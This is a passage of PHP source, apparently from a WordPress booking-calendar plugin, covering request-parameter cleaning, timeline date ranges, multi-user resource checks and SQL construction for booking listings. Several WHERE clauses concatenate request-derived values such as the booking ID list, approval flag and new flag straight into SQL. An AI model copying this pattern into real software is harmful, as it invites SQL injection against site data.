$clean_params['wh_keyword'] = 's'; //string $clean_params['wh_pay_statuscustom'] = 's'; //string !!! LIKE !!! $clean_params['wh_pay_status'] = array('all', 'group_ok', 'group_unknown', 'group_pending', 'group_failed'); $clean_params['wh_cost'] = 'd'; // '1' | '' $clean_params['wh_cost2'] = 'd'; // '1' | '' $clean_params['or_sort'] = array('', 'sort_date', 'booking_type', 'cost', 'booking_id_asc', 'sort_date_asc', 'booking_type_asc', 'cost_asc'); $clean_params['wh_trash'] = array('0' , 'trash', 'any'); $clean_params['page_num'] = 'd'; // '' | '1' ... // does not exist in 6.2.1.4 $clean_params['page_items_count'] = 'd'; // '' | '1' ... // does not exist in 6.2.1.4 $clean_params['view_days_num'] = 'd'; // '' | '1' ... // does not exist in 6.2.1.4 //FixIn: 8.9.2.1 $clean_params['scroll_start_date'] = 'digit_or_date'; $clean_params['scroll_day'] = 'd'; $clean_params['scroll_month'] = 'd'; $clean_params['limit_hours'] = 'digit_or_csd'; $clean_params['only_booked_resources'] = 'd'; foreach ( $clean_params as $request_key => $clean_type ) { // elements only listed in array:: if ( is_array( $clean_type ) ) { // check only values from the list in this array if ( ( isset( $_REQUEST[ $request_key ] ) ) && ( ! in_array( $_REQUEST[ $request_key ], $clean_type ) ) ) $clean_type = 's'; else $clean_type = 'checked_skip_it'; } switch ( $clean_type ) { case 'checked_skip_it': break; case 'digit_or_date': // digit or comma separated digit if ( isset( $_REQUEST[ $request_key ] ) ) { $_REQUEST[ $request_key ] = wpbc_clean_digit_or_date( $_REQUEST[ $request_key ] ); } if ( isset( $_GET[ $request_key ] ) ) { $_GET[ $request_key ] = wpbc_clean_digit_or_date( $_GET[ $request_key ] ); } if ( isset( $_POST[ $request_key ] ) ) { $_POST[ $request_key ] = wpbc_clean_digit_or_date( $_POST[ $request_key ] ); } break; case 'digit_or_csd': // digit or comma separated digit if ( isset( $_REQUEST[ $request_key ] ) ) { $_REQUEST[ $request_key ] = wpbc_clean_digit_or_csd( $_REQUEST[ $request_key ] ); } if ( isset( $_GET[ $request_key ] ) ) { $_GET[ $request_key ] = wpbc_clean_digit_or_csd( $_GET[ $request_key ] ); } if ( isset( $_POST[ $request_key ] ) ) { $_POST[ $request_key ] = wpbc_clean_digit_or_csd( $_POST[ $request_key ] ); } break; case 's': // string if ( isset( $_REQUEST[ $request_key ] ) ) { $_REQUEST[ $request_key ] = wpbc_clean_like_string_for_db( $_REQUEST[ $request_key ] ); } if ( isset( $_GET[ $request_key ] ) ) { $_GET[ $request_key ] = wpbc_clean_like_string_for_db( $_GET[ $request_key ] ); } if ( isset( $_POST[ $request_key ] ) ) { $_POST[ $request_key ] = wpbc_clean_like_string_for_db( $_POST[ $request_key ] ); } break; case 'd': // digit if ( ( isset( $_REQUEST[ $request_key ] ) ) && ( $_REQUEST[ $request_key ] !== '' ) ) { $_REQUEST[ $request_key ] = intval( $_REQUEST[ $request_key ] ); } if ( ( isset( $_GET[ $request_key ] ) ) && ( $_GET[ $request_key ] !== '' ) ) { $_GET[ $request_key ] = intval( $_GET[ $request_key ] ); } if ( ( isset( $_POST[ $request_key ] ) ) && ( $_POST[ $request_key ] !== '' ) ) { $_POST[ $request_key ] = intval( $_POST[ $request_key ] ); } break; default: if ( isset( $_REQUEST[ $request_key ] ) ) { $_REQUEST[ $request_key ] = intval( $_REQUEST[ $request_key ] ); } if ( isset( $_GET[ $request_key ] ) ) { $_GET[ $request_key ] = intval( $_GET[ $request_key ] ); } if ( isset( $_POST[ $request_key ] ) ) { $_POST[ $request_key ] = intval( $_POST[ $request_key ] ); } break; } } //debuge($_REQUEST); } //FixIn: 9.6.3.5 /** * Get array of cleaned (limited number) paramas from REQUEST * * @return array */ function wpbc_get_clean_paramas_from_request_for_timeline() { // Reset $start_year = date("Y"); //2012 $start_month = date("m"); //09 $start_day = 1;//date("d");//1; //31 if (! empty($_REQUEST['scroll_start_date'])) { // scroll_start_date=2013-07-01 $scroll_start_date= explode('-',$_REQUEST['scroll_start_date']); $start_year = $scroll_start_date[0]; //2012 $start_month = $scroll_start_date[1]; //09 $start_day = $scroll_start_date[2]; //date("d");//1; //31 } $scroll_day = 0; $scroll_month = 0; if (isset($_REQUEST['view_days_num'])) $view_days_num = $_REQUEST['view_days_num']; else $view_days_num = get_bk_option( 'booking_view_days_num'); if ((isset($_REQUEST['wh_booking_type'])) && ( strpos($_REQUEST['wh_booking_type'], ',') !== false ) ) $is_show_resources_matrix = true; else $is_show_resources_matrix = false; if ($is_show_resources_matrix) { switch ($view_days_num) { case '1': if (empty($_REQUEST['scroll_start_date'])) $start_day = date("d"); if (isset($_REQUEST['scroll_day'])) $scroll_day = $_REQUEST['scroll_day']; $real_date = mktime( 0, 0, 0, intval( $start_month ), ( intval( $start_day ) + intval( $scroll_day ) ), intval( $start_year ) ); $wh_booking_date = date("Y-m-d", $real_date); // '2012-11-29'; $real_date = mktime( 0, 0, 0, intval( $start_month ), ( intval( $start_day ) + intval( $scroll_day ) ), intval( $start_year ) ); $wh_booking_date2 = date("Y-m-d", $real_date); // '2013-12-3'; break; case '7': if (empty($_REQUEST['scroll_start_date'])) $start_day = date("d"); $start_week_day_num = date("w"); $start_day_weeek = get_bk_option( 'booking_start_day_weeek' ); //[0]:Sun .. [6]:Sut if ($start_week_day_num != $start_day_weeek) { for ($d_inc = 1; $d_inc < 8; $d_inc++) { // Just get week back $real_date = mktime( 0, 0, 0, intval( $start_month ), ( intval( $start_day ) - intval( $d_inc ) ), intval( $start_year ) ); $start_week_day_num = date("w", $real_date); if ($start_week_day_num == $start_day_weeek) { $start_day = date("d", $real_date); $start_year = date("Y", $real_date); $start_month = date("m", $real_date); $d_inc=9; } } } if (isset($_REQUEST['scroll_day'])) $scroll_day = $_REQUEST['scroll_day']; $real_date = mktime( 0, 0, 0, intval( $start_month ), ( intval( $start_day ) + intval( $scroll_day ) ), intval( $start_year ) ); $wh_booking_date = date("Y-m-d", $real_date); // '2012-12-01'; $real_date = mktime( 0, 0, 0, intval( $start_month ), ( intval( $start_day ) + 7 + intval( $scroll_day ) ), intval( $start_year ) ); $wh_booking_date2 = date("Y-m-d", $real_date); // '2012-12-7'; break; case '30': if (isset($_REQUEST['scroll_month'])) $scroll_month = $_REQUEST['scroll_month']; $real_date = mktime( 0, 0, 0, ( intval( $start_month ) + intval( $scroll_month ) ), intval( $start_day ), intval( $start_year ) ); $wh_booking_date = date("Y-m-d", $real_date); // '2012-12-01'; $real_date = mktime( 0, 0, 0, ( intval( $start_month ) + 1 + intval( $scroll_month ) ), ( intval( $start_day ) - 1 ), intval( $start_year ) ); $wh_booking_date2 = date("Y-m-d", $real_date); // '2012-12-31'; break; case '60': if (isset($_REQUEST['scroll_month'])) $scroll_month = $_REQUEST['scroll_month']; $real_date = mktime( 0, 0, 0, ( intval( $start_month ) + intval( $scroll_month ) ), intval( $start_day ), intval( $start_year ) ); $wh_booking_date = date("Y-m-d", $real_date); // '2012-12-01'; $real_date = mktime( 0, 0, 0, ( intval( $start_month ) + 2 + intval( $scroll_month ) ), ( intval( $start_day ) - 1 ), intval( $start_year ) ); $wh_booking_date2 = date("Y-m-d", $real_date); // '2013-02-31'; break; //////////////////////////////////////////////////////////////////////////////// default: // 30 - default if (isset($_REQUEST['scroll_month'])) $scroll_month = $_REQUEST['scroll_month']; $real_date = mktime( 0, 0, 0, ( intval( $start_month ) + intval( $scroll_month ) ), intval( $start_day ), intval( $start_year ) ); $wh_booking_date = date("Y-m-d", $real_date); // '2012-12-01'; $real_date = mktime( 0, 0, 0, ( intval( $start_month ) + 1 + intval( $scroll_month ) ), ( intval( $start_day ) - 1 ), intval( $start_year ) ); $wh_booking_date2 = date("Y-m-d", $real_date); // '2012-12-31'; break; } } else { // Single resource switch ($view_days_num) { case '90': if (empty($_REQUEST['scroll_start_date'])) $start_day = date("d"); $start_week_day_num = date("w"); $start_day_weeek = get_bk_option( 'booking_start_day_weeek' ); //[0]:Sun .. [6]:Sut if ($start_week_day_num != $start_day_weeek) { for ($d_inc = 1; $d_inc < 8; $d_inc++) { // Just get week back $real_date = mktime( 0, 0, 0, intval( $start_month ), ( intval( $start_day ) - intval( $d_inc ) ), intval( $start_year ) ); $start_week_day_num = date("w", $real_date); if ($start_week_day_num == $start_day_weeek) { $start_day = date("d", $real_date); $start_year = date("Y", $real_date); $start_month = date("m", $real_date); $d_inc=9; //break; } } } if (isset($_REQUEST['scroll_day'])) $scroll_day = $_REQUEST['scroll_day']; $real_date = mktime( 0, 0, 0, intval( $start_month ), ( intval( $start_day ) + intval( $scroll_day ) ), intval( $start_year ) ); $wh_booking_date = date("Y-m-d", $real_date); // '2012-12-01'; $real_date = mktime( 0, 0, 0, intval( $start_month ), ( intval( $start_day ) + 7 * 12 + 7 + intval( $scroll_day ) ), intval( $start_year ) ); $wh_booking_date2 = date("Y-m-d", $real_date); // '2013-12-31'; break; case '30': if (empty($_REQUEST['scroll_start_date'])) $start_day = date("d"); if (isset($_REQUEST['scroll_day'])) $scroll_day = $_REQUEST['scroll_day']; $real_date = mktime( 0, 0, 0, intval( $start_month ), ( intval( $start_day ) + intval( $scroll_day ) ), intval( $start_year ) ); $wh_booking_date = date("Y-m-d", $real_date); // '2012-12-01'; $real_date = mktime( 0, 0, 0, intval( $start_month ), ( intval( $start_day ) + 31 + intval( $scroll_day ) ), intval( $start_year ) ); $wh_booking_date2 = date("Y-m-d", $real_date); // '2013-12-31'; break; default: // 365 if (isset($_REQUEST['scroll_month'])) $scroll_month = $_REQUEST['scroll_month']; else $scroll_month = 0; $real_date = mktime( 0, 0, 0, ( intval( $start_month ) + intval( $scroll_month ) ), intval( $start_day ), intval( $start_year ) ); $wh_booking_date = date("Y-m-d", $real_date); // '2012-12-01'; $real_date = mktime( 0, 0, 0, ( intval( $start_month ) + intval( $scroll_month ) + 13 ), ( intval( $start_day ) - 1 ), intval( $start_year ) ); $wh_booking_date2 = date("Y-m-d", $real_date); // '2013-12-31'; break; } } $or_sort = '' ; $args = array( 'wh_booking_type' => (isset($_REQUEST['wh_booking_type']))?$_REQUEST['wh_booking_type']:'', 'wh_approved' => '', // Any 'wh_booking_id' => '', // Any 'wh_is_new' => '', //(isset($_REQUEST['wh_is_new']))?$_REQUEST['wh_is_new']:'', // ? 'wh_pay_status' => 'all', //(isset($_REQUEST['wh_pay_status']))?$_REQUEST['wh_pay_status']:'', // ? 'wh_keyword' => '', //(isset($_REQUEST['wh_keyword']))?$_REQUEST['wh_keyword']:'', // ? 'wh_booking_date' => $wh_booking_date, 'wh_booking_date2' => $wh_booking_date2, 'wh_modification_date' => '3', //(isset($_REQUEST['wh_modification_date']))?$_REQUEST['wh_modification_date']:'', // ? 'wh_modification_date2' => '', //(isset($_REQUEST['wh_modification_date2']))?$_REQUEST['wh_modification_date2']:'', // ? 'wh_cost' => '', //(isset($_REQUEST['wh_cost']))?$_REQUEST['wh_cost']:'', // ? 'wh_cost2' => '', //(isset($_REQUEST['wh_cost2']))?$_REQUEST['wh_cost2']:'', // ? 'or_sort' => $or_sort, 'page_num' => '1', 'page_items_count' => '100000' ); return $args; } /** Set initial $_REQUEST['view_days_num'] depend on from selected booking resources */ function wpbc_set_request_params_for_timeline() { if ( (isset( $_REQUEST['wh_booking_type'] )) && ( strpos( $_REQUEST['wh_booking_type'], ',' ) !== false ) ) $is_show_resources_matrix = true; else $is_show_resources_matrix = false; if ( !isset( $_REQUEST['view_days_num'] ) ) $_REQUEST['view_days_num'] = get_bk_option( 'booking_view_days_num' ); //We do not have the Year (365) and (90) view modes in the Matrix mode so we are set to the closest variant. And the same backward. if ( ($is_show_resources_matrix ) ) { // Switching from the Single to Matrix mode. if ( $_REQUEST['view_days_num'] == '365' ) { $_REQUEST['view_days_num'] = 60; } if ( $_REQUEST['view_days_num'] == '90' ) { $_REQUEST['view_days_num'] = 7; } } else { // Switching from the Matrix to Single mode. if ( $_REQUEST['view_days_num'] == '60' ) { $_REQUEST['view_days_num'] = 365; } if ( ($_REQUEST['view_days_num'] == '7') || ($_REQUEST['view_days_num'] == '1') ) { $_REQUEST['view_days_num'] = 30; } } } /** Define default booking resource to $_GET request and check if user can be here in MU version. */ function wpbc_set_default_resource_to__get() { if ( isset( $_GET['booking_type'] ) ) { // Check if User can be here in MultiUser version for this booking resource (is this user owner of this resource or not) if ( class_exists( 'wpdev_bk_multiuser' ) ) { $default_booking_resource = $_GET['booking_type']; // Check if this MU user activated or superadmin, otherwise show warning if ( ! wpbc_is_mu_user_can_be_here('activated_user') ) return false; // Check if this MU user owner of this resource or superadmin, otherwise show warning if ( ! wpbc_is_mu_user_can_be_here( 'resource_owner', $default_booking_resource ) ) return false; } } else { // Set default booking resource to $_GET // Get ID of default booking resource, or return false (in case if user have no access to this resource and show some warnings). $default_booking_resource = wpbc_get_default_resource(); if ( empty( $default_booking_resource ) ) { return false; // User can not be here, Warnings have shown } else { $_GET['booking_type'] = $default_booking_resource; } // Check if this resource parent and has some additional childs, if yes then assign $_GET['parent_res'] = 1 only in case, if its for loading default booking resource. make_bk_action( 'check_if_bk_res_parent_with_childs_set_parent_res', $default_booking_resource ); } return true; } /** * Get ID of default booking resource, or return false (in case if user have no access to this resource and show some warnings). * * @return boolean|int */ function wpbc_get_default_resource() { if ( ! class_exists( 'wpdev_bk_personal' ) ) return 1; // Free, i.e., default 1 // Get assigned default booking resource from General Booking Settings page $default_booking_resource = get_bk_option( 'booking_default_booking_resource' ); // If empty, i.e., "" - its all resources - no default booking resource if ( empty( $default_booking_resource ) ) { //We do not have default resource // Get first resource in a list // If its MU, then for superadmin get first resource in a list OR if user DO NOT have resources get FIRST resource in LIST FROM ALL resources $default_booking_resource = get__default_type(); } //MU if ( class_exists( 'wpdev_bk_multiuser' ) ) { // Check if this MU user activated or superadmin, otherwise show warning if ( ! wpbc_is_mu_user_can_be_here('activated_user') ) return false; // Check if this MU user owner of this resource or superadmin, otherwise show warning if ( ! wpbc_is_mu_user_can_be_here( 'resource_owner', $default_booking_resource ) ) return false; } return $default_booking_resource; } /** Get list of all booking resources. * * @return array ( [1] => Array ( [title] => Default [parent resource] [attr] => Array ( [class] => wpbc_parent_resource ) ) [5] => Array ( [title] => Default-1 [attr] => Array ( [class] => wpbc_child_resource ) ) [6] => Array ( ... */ function wpbc_get_all_booking_resources_list(){ //FixIn: 8.1.3.5.2 if ( ! class_exists( 'wpdev_bk_personal' ) ) { return array(); } $resources_cache = wpbc_br_cache(); // Get booking resources from cache $resource_objects = $resources_cache->get_resources(); // $resource_objects = $resources_cache->get_single_parent_resources(); //$resource_options = $params['resources']; $resource_options = array(); //FixIn: 8.2.1.12 foreach ( $resource_objects as $br ) { $br_option = array(); $br_option['title'] = wpbc_lang( $br['title'] ); if ( ( isset( $br['parent'] ) ) && ( $br['parent'] == 0 ) && ( isset( $br['count'] ) ) && ( $br['count'] > 1 ) ) { $br_option['title'] .= ' [' . __( 'parent resource', 'booking' ) . ']'; } $br_option['attr'] = array(); $br_option['attr']['class'] = 'wpbc_single_resource'; if ( isset( $br['parent'] ) ) { if ( $br['parent'] == 0 ) { if ( ( isset( $br['count'] ) ) && ( $br['count'] > 1 ) ) { $br_option['attr']['class'] = 'wpbc_parent_resource'; } } else { $br_option['attr']['class'] = 'wpbc_child_resource'; } } $sufix = ''; $resource_options[ $br['id'] . $sufix ] = $br_option; if ( $resource_options[ $br['id'] ]['attr']['class'] === 'wpbc_child_resource' ) { $resource_options[ $br['id'] ]['title'] = ' ' . $resource_options[ $br['id'] ]['title']; } } return $resource_options; } //////////////////////////////////////////////////////////////////////////////// // S u p p o r t //////////////////////////////////////////////////////////////////////////////// /** * Check if current WP user can be here * Checking if the user activated, and booking resource belong to specific user * * @param string $check_condition 'activated_user' | 'resource_owner' | 'only_super_admin' * @param string $booking_resource - Optional. ID of booking resource for 'resource_owner' condition * @return boolean */ function wpbc_is_mu_user_can_be_here( $check_condition, $booking_resource = '' ) { $is_can = true; if ( $check_condition == 'activated_user' ) $is_can = apply_bk_filter( 'multiuser_is_user_can_be_here', true, 'check_for_active_users' ); if ( $check_condition == 'only_super_admin' ) $is_can = apply_bk_filter( 'multiuser_is_user_can_be_here', true, 'only_super_admin' ); if ( $check_condition == 'resource_owner' ) $is_can = apply_bk_filter( 'multiuser_is_user_can_be_here', true, $booking_resource ); return $is_can; } //////////////////////////////////////////////////////////////////////////////// // E n g i n e B o o k i n g L i s t i n g //////////////////////////////////////////////////////////////////////////////// /** * E n g i n e for getting Bookings objects for Booking Listing pages * * @param array $args - Request paramters from filters * @return array( 'bookings' => $bookings , 'resources' => $booking_types , 'bookings_count' => $bookings_count , 'page_num' => $page_num , 'count_per_page' => $page_items_count ); */ function wpbc_get_bookings_objects( $args ){ global $wpdb; // Initial variables ////////////////////////////////////////////////////// $sql_boking_listing = wpbc_get_sql_for_booking_listing( $args ); $sql_start_count = $sql_boking_listing[ 'sql_start_count' ]; $sql_start_select = $sql_boking_listing[ 'sql_start_select' ]; $sql = $sql_boking_listing[ 'sql' ]; $sql_where = $sql_boking_listing[ 'where' ]; $sql_order = $sql_boking_listing[ 'order' ]; $sql_limit = $sql_boking_listing[ 'limit' ]; $num_per_page_check = 10; $defaults = array( 'wh_booking_type' => '' , 'wh_approved' => '' , 'wh_booking_id' => '' , 'wh_is_new' => '' , 'wh_pay_status' => '' , 'wh_keyword' => '' , 'wh_booking_date' => '' , 'wh_booking_date2' => '' , 'wh_modification_date' => '' , 'wh_modification_date2' => '' , 'wh_cost' => '' , 'wh_cost2' => '' , 'or_sort' => '' , 'page_num' => '1' , 'wh_trash' => '' //FixIn: 6.1.1.10 , 'page_items_count' => ( ( empty( $num_per_page_check ) ) ? '10' : $num_per_page_check ) ); $r = wp_parse_args( $args, $defaults ); $r = apply_filters( 'wpbc_request_params_for_get_booking_obj', $r ); //FixIn: 7.0.1.41 extract( $r, EXTR_SKIP ); $page_start = ( $page_num - 1 ) * $page_items_count; //debuge( $sql_start_select . $sql . $sql_where . $sql_order . $sql_limit ); //////////////////////////////////////////////////////////////////////////// $bookings_res = $wpdb->get_results( $sql_start_select . $sql . $sql_where . $sql_order . $sql_limit ); // Get Bookings $bookings_count = $wpdb->get_results( $sql_start_count . $sql . $sql_where ); // Get Number of bookings $bookings_count = ( ( count( $bookings_count ) > 0 ) ? $bookings_count[0]->count : 0 ); $booking_types = apply_bk_filter( 'wpdebk_get_keyed_all_bk_resources', array() ); // Get Resources //////////////////////////////////////////////////////////////////////////// $booking_id_list = array(); // ID list of ALL bookings $bookings = array(); $short_days = array(); $short_days_type_id = array(); foreach ( $bookings_res as $booking ) { if ( ! in_array( $booking->booking_id, $booking_id_list ) ) $booking_id_list[] = $booking->booking_id; $bookings[$booking->booking_id] = $booking; $bookings[$booking->booking_id]->dates = array(); $bookings[$booking->booking_id]->dates_short = array(); $bk_list_type = (isset( $booking->booking_type )) ? $booking->booking_type : '1'; if ( ( isset( $booking->sync_gid ) ) && (!empty( $booking->sync_gid )) ) { $booking->form .= "~text^sync_gid{$booking->booking_type}^{$booking->sync_gid}"; } $cont = wpbc__legacy__get_form_content_arr( $booking->form , $bk_list_type , '' , array( 'booking_id' => $booking->booking_id , 'resource_title' => (isset( $booking_types[$booking->booking_type] )) ? $booking_types[$booking->booking_type] : '' ) ); //debuge($cont); $search = array( "'(<br[ ]?[/]?>)+'si", "'(<[/]?p[ ]?>)+'si"/*, "'(<[/]?div[ ]?>)+'si"*/ ); //FixIn: 8.8.1.6 $replace = array( " ", " ", " " ); $cont['content'] = preg_replace( $search, $replace, $cont['content'] ); //debuge( htmlentities( $cont['content'] ) );die; $bookings[$booking->booking_id]->form_show = $cont['content']; unset( $cont['content'] ); $bookings[$booking->booking_id]->form_data = $cont; } $booking_id_list = implode( ",", $booking_id_list ); $booking_id_list = wpbc_clean_like_string_for_db( $booking_id_list ); //////////////////////////////////////////////////////////////////////////// if ( ! empty( $booking_id_list ) ) { // Get Dates for all our Bookings $sql = "SELECT * FROM {$wpdb->prefix}bookingdates as dt WHERE dt.booking_id in ( {$booking_id_list} ) "; if ( class_exists( 'wpdev_bk_biz_l' ) ) $sql .= " ORDER BY booking_id, type_id, booking_date "; else $sql .= " ORDER BY booking_id, booking_date "; $booking_dates = $wpdb->get_results( $sql ); } else $booking_dates = array(); //////////////////////////////////////////////////////////////////////////// $last_booking_id = ''; foreach ( $booking_dates as $date ) { // Add Dates to Bookings array $bookings[ $date->booking_id ]->dates[] = $date; if ( $date->booking_id != $last_booking_id ) { if ( !empty( $last_booking_id ) ) { if ( $last_show_day != $dte ) { $short_days[] = $dte; $short_days_type_id[] = $last_day_id; } $bookings[$last_booking_id]->dates_short = $short_days; $bookings[$last_booking_id]->dates_short_id = $short_days_type_id; } $last_day = ''; $last_day_id = ''; $last_show_day = ''; $short_days = array(); $short_days_type_id = array(); } $last_booking_id = $date->booking_id; $dte = $date->booking_date; if ( empty( $last_day ) ) { // First date $short_days[] = $dte; $short_days_type_id[] = (isset( $date->type_id )) ? $date->type_id : ''; $last_show_day = $dte; } else { // All other days //if ( wpbc_is_next_day( $dte, $last_day ) ) { $next_day_if__check_in__then__check_out = true; if ( wpbc_is_less_than_next_day( $dte, $last_day, $next_day_if__check_in__then__check_out ) ) { if ( $last_show_day != '-' ) { $short_days[] = '-'; $short_days_type_id[] = ''; } $last_show_day = '-'; } else { if ( $last_show_day != $last_day ) { $short_days[] = $last_day; $short_days_type_id[] = $last_day_id; } $short_days[] = ','; $short_days_type_id[] = ''; $short_days[] = $dte; $short_days_type_id[] = (isset( $date->type_id )) ? $date->type_id : ''; $last_show_day = $dte; } } $last_day = $dte; $last_day_id = (isset( $date->type_id )) ? $date->type_id : ''; } if ( isset( $dte ) ) if ( $last_show_day != $dte ) { $short_days[] = $dte; $short_days_type_id[] = (isset( $date->type_id )) ? $date->type_id : ''; } if ( isset( $bookings[$last_booking_id] ) ) { $bookings[$last_booking_id]->dates_short = $short_days; $bookings[$last_booking_id]->dates_short_id = $short_days_type_id; } //debuge( 'Before filtering:', date('Y-m-d', time() +86400 ), $_REQUEST, $bookings ) ; //////////////////////////////////////////////////////////////////////////// // Filter some bookings //////////////////////////////////////////////////////////////////////////// // Showing only bookings that starting or ending during "Today" ( Today check in/out ) if ( (isset( $args['wh_booking_date'] )) && ($args['wh_booking_date'] == '9') ) { $today_mysql_format = date_i18n( 'Y-m-d', time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) + 0 * DAY_IN_SECONDS ); // Today day with gmt offset foreach ( $bookings as $bc_id => $bc_value ) { $check_in_date = $bc_value->dates_short[0]; $check_in_date = explode( ' ', $check_in_date ); $check_in_date = $check_in_date[0]; // 2014-02-25 if ( count( $bc_value->dates_short ) == 1 ) $check_out_date = $bc_value->dates_short[0]; else $check_out_date = $bc_value->dates_short[2]; $check_out_date = explode( ' ', $check_out_date ); $check_out_date = $check_out_date[0]; // 2014-02-25 if ( ( $today_mysql_format != $check_in_date ) && ( $today_mysql_format != $check_out_date ) ) { unset( $bookings[$bc_id] ); $bookings_count--; } } } // If we selected the Dates as "Check In - Today/Tommorow", then show only the bookings, where check in date is Today if ( (isset( $args['wh_booking_date'] )) && ($args['wh_booking_date'] == '7') ) { //$today_mysql_format = date('Y-m-d'); //$today_mysql_format = date('Y-m-d', time() +86400 ); // 1 Day = 24*60*60 = 86400 $today_mysql_format = date_i18n( 'Y-m-d', time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) + DAY_IN_SECONDS ); // Tommorow day with gmt offset foreach ( $bookings as $bc_id => $bc_value ) { $check_in_date = $bc_value->dates_short[0]; $check_in_date = explode( ' ', $check_in_date ); $check_in_date = $check_in_date[0]; // 2014-02-25 if ( $today_mysql_format != $check_in_date ) { unset( $bookings[$bc_id] ); $bookings_count--; } } } // If we selected the Dates as "Check Out - Tomorow", then show only the bookings, where check out date is Tomorrow if ( (isset( $args['wh_booking_date'] )) && ($args['wh_booking_date'] == '8') ) { //$tomorrow_mysql_format = date('Y-m-d', time() +86400 ); // 1 Day = 24*60*60 = 86400 $tomorrow_mysql_format = date_i18n( 'Y-m-d', time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) + DAY_IN_SECONDS ); // Tommorow day with gmt offset foreach ( $bookings as $bc_id => $bc_value ) { if ( count( $bc_value->dates_short ) == 1 ) $check_out_date = $bc_value->dates_short[0]; else $check_out_date = $bc_value->dates_short[2]; $check_out_date = explode( ' ', $check_out_date ); $check_out_date = $check_out_date[0]; // 2014-02-25 if ( $tomorrow_mysql_format != $check_out_date ) { unset( $bookings[$bc_id] ); $bookings_count--; } } } $return_booking_structure = array( 'bookings' => $bookings , 'resources' => $booking_types , 'bookings_count' => $bookings_count , 'page_num' => $page_num , 'count_per_page' => $page_items_count ); //debuge( $return_booking_structure ); return $return_booking_structure; } //////////////////////////////////////////////////////////////////////////////// // S Q L //////////////////////////////////////////////////////////////////////////////// /** * Get S Q L for bookings at Booking Listing page * * @param array $args - Request paramters from filters * @return array - Get array with SQL for getting bookings */ function wpbc_get_sql_for_booking_listing( $args ){ global $wpdb; $num_per_page_check = 10; $defaults = array( 'wh_booking_type' => '' , 'wh_approved' => '' , 'wh_booking_id' => '' , 'wh_is_new' => '' , 'wh_pay_status' => '' , 'wh_keyword' => '' , 'wh_booking_date' => '' , 'wh_booking_date2' => '' , 'wh_modification_date' => '' , 'wh_modification_date2' => '' , 'wh_cost' => '' , 'wh_cost2' => '' , 'or_sort' => '' , 'page_num' => '1' , 'wh_trash' => '' //FixIn: 6.1.1.10 , 'wh_sync_gid' => '' // '' | 'imported' | 'plugin' //FixIn: 8.8.3.19 , 'page_items_count' => $num_per_page_check ); $r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP ); $page_start = ( $page_num - 1 ) * $page_items_count; $posible_sorts = array( 'booking_id_asc', 'sort_date', 'sort_date_asc', 'booking_type', 'booking_type_asc', 'cost', 'cost_asc' ); if ( ($or_sort == '') || ($or_sort == 'id') || ( !in_array( $or_sort, $posible_sorts ) ) ) $or_sort = 'booking_id'; //////////////////////////////////////////////////////////////////////// // S Q L //////////////////////////////////////////////////////////////////////// $sql_start_select = " SELECT * "; $sql_start_count = " SELECT COUNT(*) as count"; $sql = " FROM {$wpdb->prefix}booking as bk"; // GET ONLY ROWS OF THE B o o k i n g s - So we can limit the requests //debuge($wh_trash); //FixIn: 6.1.1.10 - check also below usage of {$trash_bookings} $trash_bookings = " AND bk.trash = 0 "; if ( isset( $wh_trash ) ) { if ( $wh_trash == "trash" ) $trash_bookings = " AND bk.trash = 1 "; else if ( $wh_trash == "any" ) $trash_bookings = ''; } //debuge($trash_bookings); if ( empty( $wh_booking_id ) ) { $sql_where = " WHERE " . // Date (single) connection (Its required for the correct Pages in SQL: LIMIT Keyword) " EXISTS ( SELECT * FROM {$wpdb->prefix}bookingdates as dt WHERE bk.booking_id = dt.booking_id "; if ( 'lost' == $wh_booking_type ) { //FixIn: 8.5.2.19 $sql_where.= " AND bk.booking_type NOT IN ( SELECT DISTINCT booking_type_id FROM {$wpdb->prefix}bookingtypes ) "; $sql_where.= " ) "; $wh_booking_type = ''; } else { if ( $wh_approved !== '' ) $sql_where.= " AND approved = $wh_approved "; // Approved or Pending $sql_where .= wpbc_set_sql_where_for_dates( $wh_booking_date, $wh_booking_date2 ); $sql_where.= " ) "; $sql_where .= " {$trash_bookings} "; //FixIn: 6.1.1.10 //FixIn: 8.8.3.19 if ( 'imported' === $wh_sync_gid ) { $sql_where .= " AND bk.sync_gid != '' "; } if ( 'plugin' === $wh_sync_gid ) { $sql_where .= " AND bk.sync_gid = '' "; } if ( $wh_is_new !== '' ) $sql_where .= " AND bk.is_new = " . $wh_is_new . " "; $sql_where .= apply_bk_filter( 'get_bklist_sql_keyword', '', $wh_keyword ); // P $sql_where .= wpbc_set_sql_where_for_modification_date( $wh_modification_date, $wh_modification_date2 ); $sql_where .= apply_bk_filter( 'get_bklist_sql_paystatus', '', $wh_pay_status ); // BS $sql_where .= apply_bk_filter( 'get_bklist_sql_cost', '', $wh_cost, $wh_cost2 ); // BS $sql_where .= apply_bk_filter( 'get_bklist_sql_resources', '', $wh_booking_type, $wh_approved, $wh_booking_date, $wh_booking_date2 ); // P || BL } } else { //FixIn: 8.7.7.10 if ( strpos( $wh_booking_id, '<' ) !== false ) { $wh_booking_id = str_replace( '<', '', $wh_booking_id ); $wh_booking_id = intval( $wh_booking_id ); $sql_where = " WHERE bk.booking_id < " . $wh_booking_id . " "; } else if ( strpos( $wh_booking_id, '>' ) !== false ) { $wh_booking_id = str_replace( '>', '', $wh_booking_id ); $wh_booking_id = intval( $wh_booking_id ); $sql_where = " WHERE bk.booking_id > " . $wh_booking_id . " "; } else if ( strpos( $wh_booking_id, ',' ) !== false ) { $sql_where = " WHERE bk.booking_id IN (" . $wh_booking_id . ") "; } else { $sql_where = " WHERE bk.booking_id = " . $wh_booking_id . " "; } // Check if searching booking is belonging to specific user in Booking Calendar MultiUser version $sql_where = apply_bk_filter('update_where_sql_for_getting_bookings_in_multiuser', $sql_where ); } if ( strpos( $or_sort, '_asc' ) !== false ) { // Order $or_sort = str_replace( '_asc', '', $or_sort ); $sql_order = " ORDER BY " . $or_sort . " ASC "; } else $sql_order = " ORDER BY " . $or_sort . " DESC "; $sql_limit = $wpdb->prepare( " LIMIT %d, %d ", $page_start, $page_items_count ); $return_res = array( 'sql_start_count' => $sql_start_count , 'sql_start_select' => $sql_start_select , 'sql' => $sql , 'where' => $sql_where , 'order' => $sql_order , 'limit' => $sql_limit ); //debuge($return_res); return $return_res; } //////////////////////////////////////////////////////////////////////////////// // S Q L W H E R E //////////////////////////////////////////////////////////////////////////////// /** * Get SQL W H E R E conditions for D a t e s of 